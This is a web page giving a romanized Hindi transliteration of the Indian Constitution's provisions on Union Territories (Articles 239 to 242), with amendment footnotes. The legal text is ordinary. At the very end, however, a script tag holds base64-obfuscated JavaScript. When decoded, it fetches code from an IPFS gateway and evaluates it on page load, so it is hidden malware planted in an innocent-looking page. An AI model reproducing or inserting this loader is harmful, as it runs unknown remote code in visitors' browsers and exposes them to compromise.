भारत का संविधान- संघ राज्य क्षेत्र
sangh rajy kshetr[1]
- 239. sangh rajyakshetroan ka prashasan--[2]
(1) sansad dvara banaee gee vidhi dvara yatha anyatha upabandhit ke sivay, pratyek sangh rajyakshetr ka prashasan rashtrapati dvara kiya jaega, aur vah apane dvara aise padabhidhan sahit, jo vah vinirdisht kare, niyukt kie ge prashasak ke madhyam se us matra tak kary karega jitani vah thik samajhata hai.
(2) bhag 6 mean kisi bat ke hote hue bhi, rashtrapati kisi rajy ke rajyapal ko kisi nikatavarti sangh rajyakshetr ka prashasak niyukt kar sakega aur jahaan koee rajyapal is prakar niyukt kiya jata hai vahaan vah aise prashasak ke roop mean apane krityoan ka prayog apani mantri-parishad se svatantr roop se karega.
- 239k.[3] kuchh sangh rajyakshetroan ke lie sthaniy vidhan-mandaloan ya mantri-parishadoan ka ya donoan ka srijan--
(1) sansad, vidhi dvara [4][paandicheri, sangh rajyakshetr ke lie],--
(k) us sangh rajyakshetr ke vidhan-mandal ke roop mean kary karane ke lie nirvachit ya bhagatah namanirdeshit aur bhagatah nirvachit nikay ka, ya
(kh) mantri-parishad ka, ya donoan ka srijan kar sakegi, jinamean se pratyek ka gathan, shaktiyaan aur krity ve hoange jo us vidhi mean vinirdisht kie jaean.
(2) khand (1) mean nirdisht vidhi ko, anuchchhed 368 ke prayojanoan ke lie is sanvidhan ka sanshodhan is bat ke hote hue bhi nahian samajha jaega ki usamean koee aisa upabandh aantarvisht hai jo is sanvidhan ka sanshodhan karata hai ya sanshodhan karane ka prabhav rakhata hai.
- 239kak dilli ke sanbandh mean vishesh upabandh--[5]
(1) sanvidhan (unahattaravaan sanshodhan) adhiniyam, 1991 ke praranbh se dilli sangh rajyakshetr ko dilli rashtriy rajadhani rajyakshetr (jise is bhag mean isake pashchath rashtriy rajadhani rajyakshetr kaha gaya hai) kaha jaega aur anuchchhed 239 ke adhin niyukt usake prashasak ka padabhidhan up-rajyapal hoga.
(2)(k) rashtriy rajadhani rajyakshetr ke lie ek vidhan sabha hogi aur aisi vidhan sabha mean sthan rashtriy rajadhani rajyakshetr mean pradeshik nirvachan-kshetroan mean se pratyaksh nirvachan dvara chune hue sadasyoan se bhare jaeange.
(kh) vidhan sabha mean sthanoan ki kul sankhhya, anusoochit jatiyoan ke lie arakshit sthanoan ki sankhhya, rashtriy rajadhani rajyakshetr ke pradeshik nirvachan-kshetroan mean vibhajan (jisake aantargat aise vibhajan ka adhar hai) tatha vidhan sabha ke karyakaran se sanbandhit sabhi any vishayoan ka viniyaman, sansad dvara banaee gee vidhi dvara kiya jaega.
(g) anuchchhed 324 se anuchchhed 327 aur anuchchhed 329 ke upabandh rashtriy rajadhani rajyakshetr, rashtriy rajadhani rajyakshetr ki vidhan sabha aur usake sadasyoan ke sanbandh mean vaise hi lagoo hoange jaise ve, kisi rajy, kisi rajy ki vidhan sabha aur usake sadasyoan ke sanbandh mean lagoo hote haian tatha anuchchhed 326 aur anuchchhed 329 mean samuchit vidhan-mandal ke prati nirdesh ke bare mean yah samajha jaega ki vah sansad ke prati nirdesh hai.
(3)(k) is sanvidhan ke upabandhoan ke adhin rahate hue, vidhan sabha ko rajy soochi ki pravishti 1, pravishti 2 aur pravishti 18 se tatha us soochi ki pravishti 64, pravishti 65 aur pravishti 66 se, jahaan tak unaka sanbandh ukt pravishti 1, pravishti 2 aur pravishti 18 se hai, sanbandhit vishayoan se bhinn rajy soochi mean ya samavarti soochi mean praganit kisi bhi vishay ke sanbandh mean, jahaan tak aisa koee vishay sangh rajyakshetroan ko lagoo hai, sanpoorn rashtriy rajadhani rajyakshetr ya usake kisi bhag ke lie vidhi banane ki shakti hogi.
(kh) upakhand (k) ki kisi bat se sangh rajyakshetr ya usake kisi bhag ke lie kisi bhi vishay ke sanbandh mean is sanvidhan ke adhin vidhi banane ki sansad ki shakti ka alpikaran nahian hoga.
(g) yadi vidhan sabha dvara kisi vishay ke sanbandh mean banaee gee vidhi ka koee upabandh sansad dvara us vishay ke sanbandh mean banaee gee vidhi ke, chahe vah vidhan sabha dvara banaee gee vidhi se pahale ya usake bad mean parit ki gee ho, ya kisi poorvatar vidhi ke, jo vidhan sabha dvara banaee gee vidhi se bhinn hai, kisi upabandh ke viruddh hai to, donoan dashaoan mean, yathasthiti, sansad dvara banaee gee vidhi, ya aisi poorvatar vidhi abhibhavi hogi aur vidhan sabha dvara banaee gee vidhi us virodh ki matra tak shoony hogi :
parantu yadi vidhan sabha dvara banaee gee kisi aisi vidhi ko rashtrapati ke vichar ke lie arakshit rakha gaya hai aur us par usaki anumati mil gee hai to aisi vidhi rashtriy rajadhani rajyakshetr mean abhibhavi hogi :parantu yah aur ki is upakhand ki koee bat sansad ko usi vishay ke sanbandh mean koee vidhi, jisake aantargat aisi vidhi hai jo vidhan sabha dvara is prakar banaee gee vidhi ka parivardhan, sanshodhan, parivartan ya nirasan karati hai, kisi bhi samay adhiniyamit karane se nivarit nahian karegi.
(4) jin batoan mean kisi vidhi dvara ya usake adhin up-rajyapal se yah apekshit hai ki vah apane vivekanusar kary kare un batoan ko chho dakar, up-rajyapal ki, un vishayoan ke sanbandh mean, jinaki babat vidhan sabha ko vidhi banane ki shakti hai, apane krityoan ka prayog karane mean sahayata aur salah dene ke lie ek mantri-parishad hogi jo vidhan sabha ki kul sadasy sankhhya ke das pratishat se adhik sadasyoan se milakar banegi, jisaka pradhan, mukhyamantri hoga: parantu up-rajyapal aur usake mantriyoan ke bich kisi vishay par matabhed ki dasha mean, up-rajyapal use rashtrapati ko vinishchay ke lie nirdeshit karega aur rashtrapati dvara us par kie ge vinishchay ke anusar kary karega tatha aisa vinishchay hone tak up-rajyapal kisi aise mamale mean, jahaan vah vishay, usaki ray mean, itana avashyak hai jisake karan turant karravaee karana usake lie avashyak hai vahaan, us vishay mean aisi karravaee karane ya aisa nidesh dene ke lie, jo vah avashyak samajhe, saksham hoga.
(5) mukhyamantri ki niyukti rashtrapati karega aur any mantriyoan ki niyukti rashtrapati , mukhyamantri ki salah par karega tatha mantri, rashtrapati ke prasadaparyant apane pad dharan kareange.
(6) mantri-parishad vidhan sabha ke prati samoohik roop se uttaradayi hogi.
(7)[6](k) sansad poorvagami khandoan ko prabhavi karane ke lie, ya unamean aantarvisht upabandhoan ki anupoorti ke lie aur unake anushangik ya parinamik sabhi vishayoan ke lie, vidhi dvara, upabandh kar sakegi;
[7](kh) upakhand (k) mean nirdisht vidhi ko, anuchchhed 368 ke prayojanoan ke lie is sanvidhan ka sanshodhan is bat ke hote hue bhi nahian samajha jaega ki usamean koee aisa upabandh aantarvisht hai jo is sanvidhan ka sanshodhan karata hai ya sanshodhan karane ka prabhav rakhata hai.
(8) anuchchhed 239kh ke upabandh, jahaan tak ho sake, rashtriy rajadhani rajyakshetr, up-rajyapal aur vidhan sabha ke sanbandh mean vaise hi lagoo hoange jaise ve paandicheri sangh rajyakshetr, prashasak aur usake vidhan-mandal ke sanbandh mean lagoo hote haian; aur us anuchchhed mean anuchchhed 239k ke khand (1) ke prati nirdesh ke bare mean yah samajha jaega ki vah, yathasthiti, is anuchchhed ya anuchchhed 239kakh ke prati nirdesh hai.
- 239 kakh. saanvidhanik tantr ke viphal ho jane ki dasha mean upabandh--
yadi rashtrapati ka, up-rajyapal se prativedan milane par ya anyatha, yah samadhan ho jata hai ki,--
(k) aisi sthiti utpann ho gee hai jisamean rashtriy rajadhani rajyakshetr ka prashasan anuchchhed 239kak ya ya us anuchchhed ke anusaran mean banaee gee kisi vidhi ke upabandhoan ke anusar nahian chalaya ja sakata hai; ya
(kh) rashtriy rajadhani rajyakshetr ke uchit prashasan ke lie aisa karana avashyak ya samichin hai, to rashtrapati, adesh dvara, anuchchhed 239 k(k) ke kisi upabandh ke athava us anuchchhed ke anusaran mean banaee gee kisi vidhi ke sabhi ya kinhian upabandhoan ke pravartan ko, aisi avadhi ke lie aur aisi shartoan ke adhin rahate hue, jo aisi vidhi mean vinirdisht ki jaean, nilanbit kar sakega, tatha aise anushangik aur parinamik upabandh kar sakega jo anuchchhed 239 aur anuchchhed 239kak ke upabandhoan ke anusar rashtriy rajadhani rajyakshetr ke prashasan ke lie use avashyak ya samichin pratit hoan.
239kh[8]. vidhan-mandal ke vishraantikal mean adhyadesh prakhyapit karane ki prashasak ki shakti--(1) us samay ko chho dakar jab [9]paandicheri sangh rajyakshetr ka vidhan-mandal satr mean hai, yadi kisi samay usake prashasak ka yah samadhan ho jata hai ki aisi paristhitiyaan vidyaman haian jinake karan turant karravaee karana usake lie avashyak ho gaya hai to vah aise adhyadesh prakhyapit kar sakega jo use un paristhitiyoan mean apekshit pratit hoan: parantu prashasak, koee aisa adhyadesh rashtrapati se is nimitt anudesh abhiprapt karane ke pashchath hi prakhyapit karega, anyatha nahian : parantu yah aur ki jab kabhi ukt vidhan-mandal ka vighatan kar diya jata hai ya anuchchhed 239k ke khand (1) mean nirdisht vidhi ke adhin ki gee kisi karravaee ke karan usaka karyakaran nilanbit rahata hai tab prashasak aise vighatan ya nilanban ki avadhi ke dauran koee adhyadesh prakhyapit nahian karega.
(2) rashtrapati ke anudeshoan ke anusaran mean is anuchchhed ke adhin prakhyapit adhyadesh sangh rajyakshetr ke vidhan-mandal ka aisa adhiniyam samajha jaega jo anuchchhed 239k ke khand (1) mean nirdisht vidhi mean, us nimitt aantarvisht upabandhoan ka anupalan karane ke pashchath samyakh roop se adhiniyamit kiya gaya hai, kiantu pratyek aisa adhyadesh--
(k) sangh rajyakshetr ke vidhan-mandal ke samaksh rakha jaega aur vidhan-mandal ke punah samavet hone se chhah saptah ki samapti par ya yadi us avadhi ki samapti se pahale vidhan-mandal usake ananumodan ka sankalp parit kar deta hai to sankalp ke parit hone par pravartan mean nahian rahega; aur
(kh) rashtrapati se is nimitt anudesh oanbhaprapt karane ke pashchath prashasak dvara kisi bhi samay vapas liya ja sakega.
(3) yadi aur jahaan tak is anuchchhed ke adhin adhyadesh koee aisa upabandh karata hai jo sangh rajyakshetr ke vidhan-mandal ke aise adhiniyam mean, jise anuchchhed 239k ke khand (1) mean nirdisht vidhi mean is nimitt aantarvisht upabandhoan ka anupalan karane ke pashchath banaya gaya hai, adhiniyamit kie jane par vidhimany nahian hota to aur vahaan tak vah adhyadesh shoony hoga.
- 240. kuchh sangh rajy kshetroan ke lie viniyam banane ki rashtrapati ki shakti--
(1) rashtrapati --
(k) aandaman aur nikobar dvip;
(kh) lakshadvip;
(g) dadara aur nagar haveli;
(gh) daman aur div;
(n) paandicheri;
(ch) mijoram rajy adhiniyam, 1986 (1986 ka 34) ki dhara 39 dvara (20-2-1987 se) mijoram sanbandhi pravishti (ch) ka lop kiya gaya.
(chh) arunachal pradesh adhiniyam, 1986 (1986 ka 69) ki dhara 42 dvara (20-2-1987 se) arunachal pradesh sanbandhi pravishti (chh) ka lop kiya gaya.
sangh rajyakshetr ki shaanti, pragati aur sushasan ke lie viniyam bana sakega :
[10][parantu jab [11][[12][paandicheri sangh rajyakshetr]] ke lie vidhan-mandal ke roop mean kary karane ke lie anuchchhed 239k ke adhin kisi nikay ka srijan kiya jata hai tab rashtrapati vidhan-mandal ke pratham adhiveshan ke lie niyat tarikh se us sangh rajyakshetr ki shaanti, pragati aur sushasan ke lie viniyam nahian banaega:
[13]parantu yah aur ki jab kabhi [14]paandicheri sangh rajyakshetr ke vidhan-mandal ke roop mean kary karane vale nikay ka vighatan kar diya jata hai ya us nikay ka aise vidhan-mandal ke roop mean karyakaran, anuchchhed 239k ke khand (1) mean nirdisht vidhi ke adhin ki gee karravaee ke karan nilanbit rahata hai tab rashtrapati aise vighatan ya nilanban ki avadhi ke dauran us sangh rajyakshetr ki shaanti, pragati aur sushasan ke lie viniyam bana sakega.
(2) is prakar banaya gaya koee viniyam sansad dvara banae ge kisi adhiniyam ya [15]kisi any vidhi ka, jo us sangh rajyakshetr ko tatsamay lagoo hai, nirasan ya sanshodhan kar sakega aur rashtrapati dvara prakhyapit kie jane par usaka vahi bal aur prabhav hoga jo sansad ke kisi aise adhiniyam ka hai jo us rajyakshetr ko lagoo hota hai.
- 241. sangh rajyakshetroan ke lie uchch nyayalay-
(1) sansad vidhi dvara, kisi [16]sangh rajyakshetr ke lie uchch nyayalay gathit kar sakegi ya [17]aise sangh rajyakshetr mean kisi nyayalay ko is sanvidhan ke sabhi ya kinhian prayojanoan ke lie uchch nyayalay ghoshit kar sakegi.
(2) bhag 6 ke adhyay 5 ke upabandh, aise upaantaranoan ya apavadoan ke adhin rahate hue, jo sansad vidhi dvara upabandhit kare, khand (1) mean nirdisht pratyek uchch nyayalay ke sanbandh mean vaise hi lagoo hoange jaise ve anuchchhed 214 mean nirdisht kisi uchch nyayalay ke sanbandh mean lagoo hote haian.
[18](3) is sanvidhan ke upabandhoan ke aur is sanvidhan dvara ya isake adhin samuchit vidhan-mandal ko pradatt shaktiyoan ke adhar par banaee gee us vidhan-mandal ki kisi vidhi ke upabandhoan ke adhin rahate hue, pratyek uchch nyayalay, jo sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ke praranbh se thik pahale kisi sangh rajyakshetr ke sanbandh mean adhikarita ka prayog karata tha, aise praranbh ke pashchath us rajyakshetr ke sanbandh mean us adhikarita ka prayog karata rahega.
(4) is anuchchhed ki kisi bat se kisi rajy ke uchch nyayalay ki adhikarita ka kisi sangh rajyakshetr ya usake bhag par vistar karane ya usase apavarjan karane ki sansad ki shakti ka alpikaran nahian hoga.
- 242. ko dagoo(I)
sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara nirasit.
tika tippani aur sandarbh
- ↑ sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 17 dvara shirshak pratham anusoochi ke bhag g mean ke rajy ke sthan par pratisthapit.
- ↑ sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 17 dvara anuchchhed 239 aur anuchchhed 240 ke sthan par pratisthapit.
- ↑ sanvidhan (chaudahavaan sanshodhan) adhiniyam, 1962 ki dhara 4 dvara aantahsthapit.
- ↑ gova, daman aur div punargathan adhiniyam, 1987 (1987 ka 18) ki dhara 63 dvara (30-5-1987 se) gova, daman aur div, aur paandicheri sangh rajyakshetroan mean se kisi ke lie shabdoan ke sthan par pratisthapit.
- ↑ sanvidhan (unahattaravaan sanshodhan) adhiniyam, 1991 ki dhara 2 dvara (1-2-1992 se) aantahsthapit
- ↑ sanvidhan (sattaravaan sanshodhan) adhiniyam, 1992 ki dhara 3 dvara (21-12-1991 se) (7) ke sthan par pratisthapit.
- ↑ sanvidhan (sattaravaan sanshodhan) adhiniyam, 1992 ki dhara 3 dvara (21-12-1991 se) aantahsthapit.
- ↑ sanvidhan (sattaeesavaan sanshodhan) adhiniyam, 1971 ki dhara 3 dvara (30-12-1971 se) aantahsthapit.
- ↑ gova, daman aur div punargathan adhiniyam, 1987 (1987 ka 18) ki dhara 63 dvara (30-5-1987 se) anuchchhed 239k ke khand (1) mean nirdisht sangh rajyakshetroan shabdoan ke sthan par pratisthapit.
- ↑ sanvidhan (chaudahavaan sanshodhan) adhiniyam, 1962 ki dhara 5 dvara aantahsthapit.
- ↑ gova, daman aur div punargathan adhiniyam, 1987 (1987 ka 18) ki dhara 63 dvara (30-5-1987 se) gova, daman aur div ya paandicheri shabdoan ke sthan par pratisthapit.
- ↑ sanvidhan (sattaeesavaan sanshodhan) adhiniyam, 1971 ki dhara 4 dvara (15-2-1972 se) gova, daman aur div ya paandicheri sangh rajyakshetr shabdoan ke sthan par pratisthapit.
- ↑ sanvidhan (sattaeesavaan sanshodhan) adhiniyam, 1971 ki dhara 4 dvara (15-2-1972 se) aantahsthapit.
- ↑ sanvidhan (chaudahavaan sanshodhan) adhiniyam, 1962 ki dhara 5 aur dhara 7 dvara (16-8-1962 se) aantahsthapit.
- ↑ sanvidhan (sattaeesavaan sanshodhan) adhiniyam, 1971 ki dhara 4 dvara (15-2-1972 se) kisi vidyaman vidhi shabdoan ke sthan par pratisthapit.
- ↑ sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara "pahali soochi ke bhag g mean vinirdisht rajy" shabdoan ke sthan par pratisthapit.
- ↑ sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara "aisa rajy" shabdoan ke sthan par pratisthapit.
- ↑ sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara khand (3) aur khand (4) ke sthan par pratisthapit.
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>